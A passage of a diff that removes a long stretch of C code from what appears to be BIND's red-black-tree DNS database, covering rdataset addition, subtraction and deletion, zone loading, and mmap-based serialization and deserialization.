-				return (result);
-			}
-		}
-	}
-
-	/*
-	 * If we're adding a delegation type (e.g. NS or DNAME for a zone,
-	 * just DNAME for the cache), then we need to set the callback bit
-	 * on the node.
-	 */
-	if (delegating_type(rbtdb, rbtnode, rdataset->type)) {
-		delegating = true;
-	} else {
-		delegating = false;
-	}
-
-	/*
-	 * Add to the auxiliary NSEC tree if we're adding an NSEC record.
-	 */
-	RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	if (rbtnode->nsec != DNS_RBT_NSEC_HAS_NSEC &&
-	    rdataset->type == dns_rdatatype_nsec)
-	{
-		newnsec = true;
-	} else {
-		newnsec = false;
-	}
-	RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-
-	/*
-	 * If we're adding a delegation type, adding to the auxiliary NSEC
-	 * tree, or the DB is a cache in an overmem state, hold an
-	 * exclusive lock on the tree.  In the latter case the lock does
-	 * not necessarily have to be acquired but it will help purge
-	 * ancient entries more effectively.
-	 */
-	if (IS_CACHE(rbtdb) && isc_mem_isovermem(rbtdb->common.mctx)) {
-		cache_is_overmem = true;
-	}
-	if (delegating || newnsec || cache_is_overmem) {
-		tree_locked = true;
-		RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-	}
-
-	if (cache_is_overmem) {
-		overmem_purge(rbtdb, rbtnode->locknum, now, tree_locked);
-	}
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-
-	if (rbtdb->rrsetstats != NULL) {
-		RDATASET_ATTR_SET(newheader, RDATASET_ATTR_STATCOUNT);
-		update_rrsetstats(rbtdb, newheader->type,
-				  atomic_load_acquire(&newheader->attributes),
-				  true);
-	}
-
-	if (IS_CACHE(rbtdb)) {
-		if (tree_locked) {
-			cleanup_dead_nodes(rbtdb, rbtnode->locknum);
-		}
-
-		header = isc_heap_element(rbtdb->heaps[rbtnode->locknum], 1);
-		if (header != NULL && header->rdh_ttl + rbtdb->serve_stale_ttl <
-					      now - RBTDB_VIRTUAL)
-		{
-			expire_header(rbtdb, header, tree_locked, expire_ttl);
-		}
-
-		/*
-		 * If we've been holding a write lock on the tree just for
-		 * cleaning, we can release it now.  However, we still need the
-		 * node lock.
-		 */
-		if (tree_locked && !delegating && !newnsec) {
-			RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-			tree_locked = false;
-		}
-	}
-
-	result = ISC_R_SUCCESS;
-	if (newnsec) {
-		dns_rbtnode_t *nsecnode;
-
-		nsecnode = NULL;
-		result = dns_rbt_addnode(rbtdb->nsec, name, &nsecnode);
-		if (result == ISC_R_SUCCESS) {
-			nsecnode->nsec = DNS_RBT_NSEC_NSEC;
-			rbtnode->nsec = DNS_RBT_NSEC_HAS_NSEC;
-		} else if (result == ISC_R_EXISTS) {
-			rbtnode->nsec = DNS_RBT_NSEC_HAS_NSEC;
-			result = ISC_R_SUCCESS;
-		}
-	}
-
-	if (result == ISC_R_SUCCESS) {
-		result = add32(rbtdb, rbtnode, name, rbtversion, newheader,
-			       options, false, addedrdataset, now);
-	}
-	if (result == ISC_R_SUCCESS && delegating) {
-		rbtnode->find_callback = 1;
-	}
-
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-
-	if (tree_locked) {
-		RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_write);
-	}
-
-	/*
-	 * Update the zone's secure status.  If version is non-NULL
-	 * this is deferred until closeversion() is called.
-	 */
-	if (result == ISC_R_SUCCESS && version == NULL && !IS_CACHE(rbtdb)) {
-		iszonesecure(db, version, rbtdb->origin_node);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		 dns_rdataset_t *rdataset, unsigned int options,
-		 dns_rdataset_t *newrdataset) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	rbtdb_version_t *rbtversion = version;
-	dns_fixedname_t fname;
-	dns_name_t *nodename = dns_fixedname_initname(&fname);
-	rdatasetheader_t *topheader, *topheader_prev, *header, *newheader;
-	unsigned char *subresult;
-	isc_region_t region;
-	isc_result_t result;
-	rbtdb_changed_t *changed;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(rbtversion != NULL && rbtversion->rbtdb == rbtdb);
-
-	if (rbtdb->common.methods == &zone_methods) {
-		RWLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-		REQUIRE(((rbtnode->nsec == DNS_RBT_NSEC_NSEC3 &&
-			  (rdataset->type == dns_rdatatype_nsec3 ||
-			   rdataset->covers == dns_rdatatype_nsec3)) ||
-			 (rbtnode->nsec != DNS_RBT_NSEC_NSEC3 &&
-			  rdataset->type != dns_rdatatype_nsec3 &&
-			  rdataset->covers != dns_rdatatype_nsec3)));
-		RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-	}
-
-	nodefullname(db, node, nodename);
-
-	result = dns_rdataslab_fromrdataset(rdataset, rbtdb->common.mctx,
-					    &region, sizeof(rdatasetheader_t));
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	newheader = (rdatasetheader_t *)region.base;
-	init_rdataset(rbtdb, newheader);
-	set_ttl(rbtdb, newheader, rdataset->ttl);
-	newheader->type = RBTDB_RDATATYPE_VALUE(rdataset->type,
-						rdataset->covers);
-	atomic_init(&newheader->attributes, 0);
-	newheader->serial = rbtversion->serial;
-	newheader->trust = 0;
-	newheader->noqname = NULL;
-	newheader->closest = NULL;
-	atomic_init(&newheader->count,
-		    atomic_fetch_add_relaxed(&init_count, 1));
-	newheader->last_used = 0;
-	newheader->node = rbtnode;
-	if ((rdataset->attributes & DNS_RDATASETATTR_RESIGN) != 0) {
-		RDATASET_ATTR_SET(newheader, RDATASET_ATTR_RESIGN);
-		newheader->resign = (isc_stdtime_t)(
-			dns_time64_from32(rdataset->resign) >> 1);
-		newheader->resign_lsb = rdataset->resign & 0x1;
-	} else {
-		newheader->resign = 0;
-		newheader->resign_lsb = 0;
-	}
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-
-	changed = add_changed(rbtdb, rbtversion, rbtnode);
-	if (changed == NULL) {
-		free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-		NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-			    isc_rwlocktype_write);
-		return (ISC_R_NOMEMORY);
-	}
-
-	topheader_prev = NULL;
-	for (topheader = rbtnode->data; topheader != NULL;
-	     topheader = topheader->next) {
-		if (topheader->type == newheader->type) {
-			break;
-		}
-		topheader_prev = topheader;
-	}
-	/*
-	 * If header isn't NULL, we've found the right type.  There may be
-	 * IGNORE rdatasets between the top of the chain and the first real
-	 * data.  We skip over them.
-	 */
-	header = topheader;
-	while (header != NULL && IGNORE(header)) {
-		header = header->down;
-	}
-	if (header != NULL && EXISTS(header)) {
-		unsigned int flags = 0;
-		subresult = NULL;
-		result = ISC_R_SUCCESS;
-		if ((options & DNS_DBSUB_EXACT) != 0) {
-			flags |= DNS_RDATASLAB_EXACT;
-			if (newheader->rdh_ttl != header->rdh_ttl) {
-				result = DNS_R_NOTEXACT;
-			}
-		}
-		if (result == ISC_R_SUCCESS) {
-			result = dns_rdataslab_subtract(
-				(unsigned char *)header,
-				(unsigned char *)newheader,
-				(unsigned int)(sizeof(*newheader)),
-				rbtdb->common.mctx, rbtdb->common.rdclass,
-				(dns_rdatatype_t)header->type, flags,
-				&subresult);
-		}
-		if (result == ISC_R_SUCCESS) {
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			newheader = (rdatasetheader_t *)subresult;
-			init_rdataset(rbtdb, newheader);
-			update_newheader(newheader, header);
-			if (RESIGN(header)) {
-				RDATASET_ATTR_SET(newheader,
-						  RDATASET_ATTR_RESIGN);
-				newheader->resign = header->resign;
-				newheader->resign_lsb = header->resign_lsb;
-				result = resign_insert(rbtdb, rbtnode->locknum,
-						       newheader);
-				if (result != ISC_R_SUCCESS) {
-					free_rdataset(rbtdb, rbtdb->common.mctx,
-						      newheader);
-					goto unlock;
-				}
-			}
-			/*
-			 * We have to set the serial since the rdataslab
-			 * subtraction routine copies the reserved portion of
-			 * header, not newheader.
-			 */
-			newheader->serial = rbtversion->serial;
-			/*
-			 * XXXJT: dns_rdataslab_subtract() copied the pointers
-			 * to additional info.  We need to clear these fields
-			 * to avoid having duplicated references.
-			 */
-			update_recordsandxfrsize(true, rbtversion, newheader,
-						 nodename->length);
-		} else if (result == DNS_R_NXRRSET) {
-			/*
-			 * This subtraction would remove all of the rdata;
-			 * add a nonexistent header instead.
-			 */
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			newheader = new_rdataset(rbtdb, rbtdb->common.mctx);
-			if (newheader == NULL) {
-				result = ISC_R_NOMEMORY;
-				goto unlock;
-			}
-			init_rdataset(rbtdb, newheader);
-			set_ttl(rbtdb, newheader, 0);
-			newheader->type = topheader->type;
-			atomic_init(&newheader->attributes,
-				    RDATASET_ATTR_NONEXISTENT);
-			newheader->trust = 0;
-			newheader->serial = rbtversion->serial;
-			newheader->noqname = NULL;
-			newheader->closest = NULL;
-			atomic_init(&newheader->count, 0);
-			newheader->node = rbtnode;
-			newheader->resign = 0;
-			newheader->resign_lsb = 0;
-			newheader->last_used = 0;
-		} else {
-			free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-			goto unlock;
-		}
-
-		/*
-		 * If we're here, we want to link newheader in front of
-		 * topheader.
-		 */
-		INSIST(rbtversion->serial >= topheader->serial);
-		update_recordsandxfrsize(false, rbtversion, header,
-					 nodename->length);
-		if (topheader_prev != NULL) {
-			topheader_prev->next = newheader;
-		} else {
-			rbtnode->data = newheader;
-		}
-		newheader->next = topheader->next;
-		newheader->down = topheader;
-		topheader->next = newheader;
-		rbtnode->dirty = 1;
-		changed->dirty = true;
-		resign_delete(rbtdb, rbtversion, header);
-	} else {
-		/*
-		 * The rdataset doesn't exist, so we don't need to do anything
-		 * to satisfy the deletion request.
-		 */
-		free_rdataset(rbtdb, rbtdb->common.mctx, newheader);
-		if ((options & DNS_DBSUB_EXACT) != 0) {
-			result = DNS_R_NOTEXACT;
-		} else {
-			result = DNS_R_UNCHANGED;
-		}
-	}
-
-	if (result == ISC_R_SUCCESS && newrdataset != NULL) {
-		bind_rdataset(rbtdb, rbtnode, newheader, 0,
-			      isc_rwlocktype_write, newrdataset);
-	}
-
-	if (result == DNS_R_NXRRSET && newrdataset != NULL &&
-	    (options & DNS_DBSUB_WANTOLD) != 0)
-	{
-		bind_rdataset(rbtdb, rbtnode, header, 0, isc_rwlocktype_write,
-			      newrdataset);
-	}
-
-unlock:
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-
-	/*
-	 * Update the zone's secure status.  If version is non-NULL
-	 * this is deferred until closeversion() is called.
-	 */
-	if (result == ISC_R_SUCCESS && version == NULL && !IS_CACHE(rbtdb)) {
-		RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
-		version = rbtdb->current_version;
-		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
-		iszonesecure(db, version, rbtdb->origin_node);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-deleterdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	       dns_rdatatype_t type, dns_rdatatype_t covers) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
-	rbtdb_version_t *rbtversion = version;
-	dns_fixedname_t fname;
-	dns_name_t *nodename = dns_fixedname_initname(&fname);
-	isc_result_t result;
-	rdatasetheader_t *newheader;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
-
-	if (type == dns_rdatatype_any) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-	if (type == dns_rdatatype_rrsig && covers == 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	newheader = new_rdataset(rbtdb, rbtdb->common.mctx);
-	if (newheader == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-	init_rdataset(rbtdb, newheader);
-	set_ttl(rbtdb, newheader, 0);
-	newheader->type = RBTDB_RDATATYPE_VALUE(type, covers);
-	atomic_init(&newheader->attributes, RDATASET_ATTR_NONEXISTENT);
-	newheader->trust = 0;
-	newheader->noqname = NULL;
-	newheader->closest = NULL;
-	if (rbtversion != NULL) {
-		newheader->serial = rbtversion->serial;
-	} else {
-		newheader->serial = 0;
-	}
-	atomic_init(&newheader->count, 0);
-	newheader->last_used = 0;
-	newheader->node = rbtnode;
-
-	nodefullname(db, node, nodename);
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-	result = add32(rbtdb, rbtnode, nodename, rbtversion, newheader,
-		       DNS_DBADD_FORCE, false, NULL, 0);
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-
-	/*
-	 * Update the zone's secure status.  If version is non-NULL
-	 * this is deferred until closeversion() is called.
-	 */
-	if (result == ISC_R_SUCCESS && version == NULL && !IS_CACHE(rbtdb)) {
-		RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_read);
-		version = rbtdb->current_version;
-		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_read);
-		iszonesecure(db, version, rbtdb->origin_node);
-	}
-
-	return (result);
-}
-
-/*
- * load a non-NSEC3 node in the main tree and optionally to the auxiliary NSEC
- */
-static isc_result_t
-loadnode(dns_rbtdb_t *rbtdb, const dns_name_t *name, dns_rbtnode_t **nodep,
-	 bool hasnsec) {
-	isc_result_t noderesult, nsecresult, tmpresult;
-	dns_rbtnode_t *nsecnode = NULL, *node = NULL;
-
-	noderesult = dns_rbt_addnode(rbtdb->tree, name, &node);
-	if (!hasnsec) {
-		goto done;
-	}
-	if (noderesult == ISC_R_EXISTS) {
-		/*
-		 * Add a node to the auxiliary NSEC tree for an old node
-		 * just now getting an NSEC record.
-		 */
-		if (node->nsec == DNS_RBT_NSEC_HAS_NSEC) {
-			goto done;
-		}
-	} else if (noderesult != ISC_R_SUCCESS) {
-		goto done;
-	}
-
-	/*
-	 * Build the auxiliary tree for NSECs as we go.
-	 * This tree speeds searches for closest NSECs that would otherwise
-	 * need to examine many irrelevant nodes in large TLDs.
-	 *
-	 * Add nodes to the auxiliary tree after corresponding nodes have
-	 * been added to the main tree.
-	 */
-	nsecresult = dns_rbt_addnode(rbtdb->nsec, name, &nsecnode);
-	if (nsecresult == ISC_R_SUCCESS) {
-		nsecnode->nsec = DNS_RBT_NSEC_NSEC;
-		node->nsec = DNS_RBT_NSEC_HAS_NSEC;
-		goto done;
-	}
-
-	if (nsecresult == ISC_R_EXISTS) {
-#if 1 /* 0 */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_CACHE, ISC_LOG_WARNING,
-			      "addnode: NSEC node already exists");
-#endif /* if 1 */
-		node->nsec = DNS_RBT_NSEC_HAS_NSEC;
-		goto done;
-	}
-
-	if (noderesult == ISC_R_SUCCESS) {
-		/*
-		 * Remove the node we just added above.
-		 */
-		tmpresult = dns_rbt_deletenode(rbtdb->tree, node, false);
-		if (tmpresult != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_CACHE, ISC_LOG_WARNING,
-				      "loading_addrdataset: "
-				      "dns_rbt_deletenode: %s after "
-				      "dns_rbt_addnode(NSEC): %s",
-				      isc_result_totext(tmpresult),
-				      isc_result_totext(noderesult));
-		}
-	}
-
-	/*
-	 * Set the error condition to be returned.
-	 */
-	noderesult = nsecresult;
-
-done:
-	if (noderesult == ISC_R_SUCCESS || noderesult == ISC_R_EXISTS) {
-		*nodep = node;
-	}
-
-	return (noderesult);
-}
-
-static isc_result_t
-loading_addrdataset(void *arg, const dns_name_t *name,
-		    dns_rdataset_t *rdataset) {
-	rbtdb_load_t *loadctx = arg;
-	dns_rbtdb_t *rbtdb = loadctx->rbtdb;
-	dns_rbtnode_t *node;
-	isc_result_t result;
-	isc_region_t region;
-	rdatasetheader_t *newheader;
-
-	REQUIRE(rdataset->rdclass == rbtdb->common.rdclass);
-
-	/*
-	 * SOA records are only allowed at top of zone.
-	 */
-	if (rdataset->type == dns_rdatatype_soa && !IS_CACHE(rbtdb) &&
-	    !dns_name_equal(name, &rbtdb->common.origin))
-	{
-		return (DNS_R_NOTZONETOP);
-	}
-
-	if (rdataset->type != dns_rdatatype_nsec3 &&
-	    rdataset->covers != dns_rdatatype_nsec3)
-	{
-		add_empty_wildcards(rbtdb, name);
-	}
-
-	if (dns_name_iswildcard(name)) {
-		/*
-		 * NS record owners cannot legally be wild cards.
-		 */
-		if (rdataset->type == dns_rdatatype_ns) {
-			return (DNS_R_INVALIDNS);
-		}
-		/*
-		 * NSEC3 record owners cannot legally be wild cards.
-		 */
-		if (rdataset->type == dns_rdatatype_nsec3) {
-			return (DNS_R_INVALIDNSEC3);
-		}
-		result = add_wildcard_magic(rbtdb, name);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
-
-	node = NULL;
-	if (rdataset->type == dns_rdatatype_nsec3 ||
-	    rdataset->covers == dns_rdatatype_nsec3)
-	{
-		result = dns_rbt_addnode(rbtdb->nsec3, name, &node);
-		if (result == ISC_R_SUCCESS) {
-			node->nsec = DNS_RBT_NSEC_NSEC3;
-		}
-	} else if (rdataset->type == dns_rdatatype_nsec) {
-		result = loadnode(rbtdb, name, &node, true);
-	} else {
-		result = loadnode(rbtdb, name, &node, false);
-	}
-	if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
-		return (result);
-	}
-	if (result == ISC_R_SUCCESS) {
-		node->locknum = node->hashval % rbtdb->node_lock_count;
-	}
-
-	result = dns_rdataslab_fromrdataset(rdataset, rbtdb->common.mctx,
-					    &region, sizeof(rdatasetheader_t));
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	newheader = (rdatasetheader_t *)region.base;
-	init_rdataset(rbtdb, newheader);
-	set_ttl(rbtdb, newheader, rdataset->ttl + loadctx->now); /* XXX overflow
-								  * check */
-	newheader->type = RBTDB_RDATATYPE_VALUE(rdataset->type,
-						rdataset->covers);
-	atomic_init(&newheader->attributes, 0);
-	newheader->trust = rdataset->trust;
-	newheader->serial = 1;
-	newheader->noqname = NULL;
-	newheader->closest = NULL;
-	atomic_init(&newheader->count,
-		    atomic_fetch_add_relaxed(&init_count, 1));
-	newheader->last_used = 0;
-	newheader->node = node;
-	setownercase(newheader, name);
-
-	if ((rdataset->attributes & DNS_RDATASETATTR_RESIGN) != 0) {
-		RDATASET_ATTR_SET(newheader, RDATASET_ATTR_RESIGN);
-		newheader->resign = (isc_stdtime_t)(
-			dns_time64_from32(rdataset->resign) >> 1);
-		newheader->resign_lsb = rdataset->resign & 0x1;
-	} else {
-		newheader->resign = 0;
-		newheader->resign_lsb = 0;
-	}
-
-	NODE_LOCK(&rbtdb->node_locks[node->locknum].lock, isc_rwlocktype_write);
-	result = add32(rbtdb, node, name, rbtdb->current_version, newheader,
-		       DNS_DBADD_MERGE, true, NULL, 0);
-	NODE_UNLOCK(&rbtdb->node_locks[node->locknum].lock,
-		    isc_rwlocktype_write);
-
-	if (result == ISC_R_SUCCESS &&
-	    delegating_type(rbtdb, node, rdataset->type)) {
-		node->find_callback = 1;
-	} else if (result == DNS_R_UNCHANGED) {
-		result = ISC_R_SUCCESS;
-	}
-
-	return (result);
-}
-
-static isc_result_t
-rbt_datafixer(dns_rbtnode_t *rbtnode, void *base, size_t filesize, void *arg,
-	      uint64_t *crc) {
-	isc_result_t result;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)arg;
-	rdatasetheader_t *header;
-	unsigned char *limit = ((unsigned char *)base) + filesize;
-
-	REQUIRE(rbtnode != NULL);
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	for (header = rbtnode->data; header != NULL; header = header->next) {
-		unsigned char *p = (unsigned char *)header;
-		size_t size = dns_rdataslab_size(p, sizeof(*header));
-		isc_crc64_update(crc, p, size);
-#ifdef DEBUG
-		hexdump("hashing header", p, sizeof(rdatasetheader_t));
-		hexdump("hashing slab", p + sizeof(rdatasetheader_t),
-			size - sizeof(rdatasetheader_t));
-#endif /* ifdef DEBUG */
-		header->serial = 1;
-		header->is_mmapped = 1;
-		header->node = rbtnode;
-		header->node_is_relative = 0;
-#ifdef ISC_MUTEX_ATOMICS
-		atomic_init(&header->attributes, header->attributes.v);
-#endif
-
-		if (RESIGN(header) &&
-		    (header->resign != 0 || header->resign_lsb != 0)) {
-			int idx = header->node->locknum;
-			result = isc_heap_insert(rbtdb->heaps[idx], header);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-		}
-
-		if (header->next != NULL) {
-			size_t cooked = dns_rbt_serialize_align(size);
-			if ((uintptr_t)header->next !=
-			    (p - (unsigned char *)base) + cooked) {
-				return (ISC_R_INVALIDFILE);
-			}
-			header->next = (rdatasetheader_t *)(p + cooked);
-			header->next_is_relative = 0;
-			if ((header->next < (rdatasetheader_t *)base) ||
-			    (header->next > (rdatasetheader_t *)limit))
-			{
-				return (ISC_R_INVALIDFILE);
-			}
-		}
-
-		update_recordsandxfrsize(true, rbtdb->current_version, header,
-					 rbtnode->fullnamelen);
-	}
-
-	/* We're done deserializing; clear fullnamelen */
-	rbtnode->fullnamelen = 0;
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Load the RBT database from the image in 'f'
- */
-static isc_result_t
-deserialize32(void *arg, FILE *f, off_t offset) {
-	isc_result_t result;
-	rbtdb_load_t *loadctx = arg;
-	dns_rbtdb_t *rbtdb = loadctx->rbtdb;
-	rbtdb_file_header_t *header;
-	int fd;
-	off_t filesize = 0;
-	char *base;
-	dns_rbt_t *tree = NULL, *nsec = NULL, *nsec3 = NULL;
-	int protect, flags;
-	dns_rbtnode_t *origin_node = NULL;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	/*
-	 * TODO CKB: since this is read-write (had to be to add nodes later)
-	 * we will need to lock the file or the nodes in it before modifying
-	 * the nodes in the file.
-	 */
-
-	/* Map in the whole file in one go */
-	fd = fileno(f);
-	isc_file_getsizefd(fd, &filesize);
-	protect = PROT_READ | PROT_WRITE;
-	flags = MAP_PRIVATE;
-#ifdef MAP_FILE
-	flags |= MAP_FILE;
-#endif /* ifdef MAP_FILE */
-
-	base = isc_file_mmap(NULL, filesize, protect, flags, fd, 0);
-	if (base == NULL || base == MAP_FAILED) {
-		return (ISC_R_FAILURE);
-	}
-
-	header = (rbtdb_file_header_t *)(base + offset);
-	if (!match_header_version(header)) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-	if (header->tree != 0) {
-		result = dns_rbt_deserialize_tree(
-			base, filesize, (off_t)header->tree, rbtdb->common.mctx,
-			delete_callback, rbtdb, rbt_datafixer, rbtdb, NULL,
-			&tree);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-
-		result = dns_rbt_findnode(tree, &rbtdb->common.origin, NULL,
-					  &origin_node, NULL,
-					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
-
-	if (header->nsec != 0) {
-		result = dns_rbt_deserialize_tree(
-			base, filesize, (off_t)header->nsec, rbtdb->common.mctx,
-			delete_callback, rbtdb, rbt_datafixer, rbtdb, NULL,
-			&nsec);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
-
-	if (header->nsec3 != 0) {
-		result = dns_rbt_deserialize_tree(
-			base, filesize, (off_t)header->nsec3,
-			rbtdb->common.mctx, delete_callback, rbtdb,
-			rbt_datafixer, rbtdb, NULL, &nsec3);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-	}
-
-	/*
-	 * We have a successfully loaded all the rbt trees now update
-	 * rbtdb to use them.
-	 */
-
-	rbtdb->mmap_location = base;
-	rbtdb->mmap_size = (size_t)filesize;
-
-	if (tree != NULL) {
-		dns_rbt_destroy(&rbtdb->tree);
-		rbtdb->tree = tree;
-		rbtdb->origin_node = origin_node;
-	}
-
-	if (nsec != NULL) {
-		dns_rbt_destroy(&rbtdb->nsec);
-		rbtdb->nsec = nsec;
-	}
-
-	if (nsec3 != NULL) {
-		dns_rbt_destroy(&rbtdb->nsec3);
-		rbtdb->nsec3 = nsec3;
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (tree != NULL) {
-		dns_rbt_destroy(&tree);
-	}
-	if (nsec != NULL) {
-		dns_rbt_destroy(&nsec);
-	}
-	if (nsec3 != NULL) {
-		dns_rbt_destroy(&nsec3);
-	}
-	isc_file_munmap(base, (size_t)filesize);
-	return (result);
-}
-
-static isc_result_t
-beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	rbtdb_load_t *loadctx;
-	dns_rbtdb_t *rbtdb;
-	rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(DNS_CALLBACK_VALID(callbacks));
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	loadctx = isc_mem_get(rbtdb->common.mctx, sizeof(*loadctx));
-
-	loadctx->rbtdb = rbtdb;
-	if (IS_CACHE(rbtdb)) {
-		isc_stdtime_get(&loadctx->now);
-	} else {
-		loadctx->now = 0;
-	}
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
-
-	REQUIRE((rbtdb->attributes &
-		 (RBTDB_ATTR_LOADED | RBTDB_ATTR_LOADING)) == 0);
-	rbtdb->attributes |= RBTDB_ATTR_LOADING;
-
-	RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
-
-	callbacks->add = loading_addrdataset;
-	callbacks->add_private = loadctx;
-	callbacks->deserialize = deserialize32;
-	callbacks->deserialize_private = loadctx;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	rbtdb_load_t *loadctx;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(DNS_CALLBACK_VALID(callbacks));
-	loadctx = callbacks->add_private;
-	REQUIRE(loadctx != NULL);
-	REQUIRE(loadctx->rbtdb == rbtdb);
-
-	RBTDB_LOCK(&rbtdb->lock, isc_rwlocktype_write);
-
-	REQUIRE((rbtdb->attributes & RBTDB_ATTR_LOADING) != 0);
-	REQUIRE((rbtdb->attributes & RBTDB_ATTR_LOADED) == 0);
-
-	rbtdb->attributes &= ~RBTDB_ATTR_LOADING;
-	rbtdb->attributes |= RBTDB_ATTR_LOADED;
-
-	/*
-	 * If there's a KEY rdataset at the zone origin containing a
-	 * zone key, we consider the zone secure.
-	 */
-	if (!IS_CACHE(rbtdb) && rbtdb->origin_node != NULL) {
-		dns_dbversion_t *version = rbtdb->current_version;
-		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
-		iszonesecure(db, version, rbtdb->origin_node);
-	} else {
-		RBTDB_UNLOCK(&rbtdb->lock, isc_rwlocktype_write);
-	}
-
-	callbacks->add = NULL;
-	callbacks->add_private = NULL;
-	callbacks->deserialize = NULL;
-	callbacks->deserialize_private = NULL;
-
-	isc_mem_put(rbtdb->common.mctx, loadctx, sizeof(*loadctx));
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * helper function to handle writing out the rdataset data pointed to
- * by the void *data pointer in the dns_rbtnode
- */
-static isc_result_t
-rbt_datawriter(FILE *rbtfile, unsigned char *data, void *arg, uint64_t *crc) {
-	rbtdb_version_t *version = (rbtdb_version_t *)arg;
-	rbtdb_serial_t serial;
-	rdatasetheader_t newheader;
-	rdatasetheader_t *header = (rdatasetheader_t *)data, *next;
-	off_t where;
-	size_t cooked, size;
-	unsigned char *p;
-	isc_result_t result = ISC_R_SUCCESS;
-	char pad[sizeof(char *)];
-	uintptr_t off;
-
-	REQUIRE(rbtfile != NULL);
-	REQUIRE(data != NULL);
-	REQUIRE(version != NULL);
-
-	serial = version->serial;
-
-	for (; header != NULL; header = next) {
-		next = header->next;
-		do {
-			if (header->serial <= serial && !IGNORE(header)) {
-				if (NONEXISTENT(header)) {
-					header = NULL;
-				}
-				break;
-			} else {
-				header = header->down;
-			}
-		} while (header != NULL);
-
-		if (header == NULL) {
-			continue;
-		}
-
-		CHECK(isc_stdio_tell(rbtfile, &where));
-		size = dns_rdataslab_size((unsigned char *)header,
-					  sizeof(rdatasetheader_t));
-
-		p = (unsigned char *)header;
-		memmove(&newheader, p, sizeof(rdatasetheader_t));
-		newheader.down = NULL;
-		newheader.next = NULL;
-		off = where;
-		if ((off_t)off != where) {
-			return (ISC_R_RANGE);
-		}
-		newheader.node = (dns_rbtnode_t *)off;
-		newheader.node_is_relative = 1;
-		newheader.serial = 1;
-
-		/*
-		 * Round size up to the next pointer sized offset so it
-		 * will be properly aligned when read back in.
-		 */
-		cooked = dns_rbt_serialize_align(size);
-		if (next != NULL) {
-			newheader.next = (rdatasetheader_t *)(off + cooked);
-			newheader.next_is_relative = 1;
-		}
-
-#ifdef DEBUG
-		hexdump("writing header", (unsigned char *)&newheader,
-			sizeof(rdatasetheader_t));
-		hexdump("writing slab", p + sizeof(rdatasetheader_t),
